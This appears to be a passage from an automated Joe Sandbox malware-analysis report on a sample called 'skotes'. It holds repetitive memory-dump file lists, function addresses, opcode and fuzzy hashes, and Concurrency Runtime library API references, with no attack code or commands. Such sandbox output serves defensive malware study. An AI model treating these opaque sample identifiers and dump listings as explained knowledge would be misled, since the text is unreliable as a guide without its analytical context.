Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: fbb09a8aa3612ce63c25ecd8450cf27a9c29fcdbc79d438589a98ce9326b26dc
Instruction ID: 95c266dd680eb6f4776b0afa3f20e9fb9bacf5343f5a8af0711c2d268468320d
Opcode Fuzzy Hash: fbb09a8aa3612ce63c25ecd8450cf27a9c29fcdbc79d438589a98ce9326b26dc
Instruction Fuzzy Hash: 3A518F31A00205DBDF25DF60C995FADB775AF44310F1A80ADE9067B396CB71AE06CBA1

Function 00ABCB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 00ABCBAA

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: bb83f001ec2c206c49217148327a2ac220155e60cd96a6e7d829a8aae1d153d3
Instruction ID: adc4bfabe69dfd03701bf56c75428e4b575994dd2fa0748211ec361e5a0b8be3
Opcode Fuzzy Hash: bb83f001ec2c206c49217148327a2ac220155e60cd96a6e7d829a8aae1d153d3
Instruction Fuzzy Hash: 6AB09232A1383047CA616B94BC089EE77189A80E2130A4156E982A72358E111D828FE4

Function 00ABDD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3c8cedc5775c437c37536c613ad7bb62eb3883347a3fa1d5887f736377b27a9
Instruction ID: 5a2ee8771063ae3aaa18cba6896e8a991aa1e1aee4cdc7b0ce231dba9795e7fc
Opcode Fuzzy Hash: f3c8cedc5775c437c37536c613ad7bb62eb3883347a3fa1d5887f736377b27a9
Instruction Fuzzy Hash: 8651C072A047068FEB25CF58D8847AEBBF5FB68314F24856AC409EB652E734E904CF50

Function 00AD26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00AD26E3

Part of subcall function 00AD24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00AD2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00AD2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00AD2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00AD275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00AD27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00AD27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00AD2846

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 4c6d49ab6b823b8403541866a6f09ace2cfe538e217f271b67b31ae570201b24
Instruction ID: 5053b20acedbcc7e5bfa9f9786954c6668924920008b8b12f75cfb403a045490
Opcode Fuzzy Hash: 4c6d49ab6b823b8403541866a6f09ace2cfe538e217f271b67b31ae570201b24
Instruction Fuzzy Hash: A381B074904249AFDF16DFA4CA51BFE7BB2AF65304F04009AEC522B352C7328D56EB61

Function 00AD2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00AD2982

Part of subcall function 00AD24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00AD2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00AD29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00AD29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00AD29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00AD2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00AD2AD8

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: a8f038b87c9cdc4ca582c019455607a253a3d83922993cb55c117172802063c9
Instruction ID: 1a0fbf60533cd6fc5c60003e6b87fbac1d96b7fac9cb7935076bf9fbe743b9e7
Opcode Fuzzy Hash: a8f038b87c9cdc4ca582c019455607a253a3d83922993cb55c117172802063c9
Instruction Fuzzy Hash: 2871AA70900249AFDF15CF64C991BBEBBB2EF65344F04409AEC426B362C7729D16DB61

Function 00AC2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00AC2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00AC28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00AC2913

Part of subcall function 00AC07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 00AC080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00AC2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00AC29DB

Part of subcall function 00AC07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00AC07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00AC29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00AC2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00AC2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00AC2A7E

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
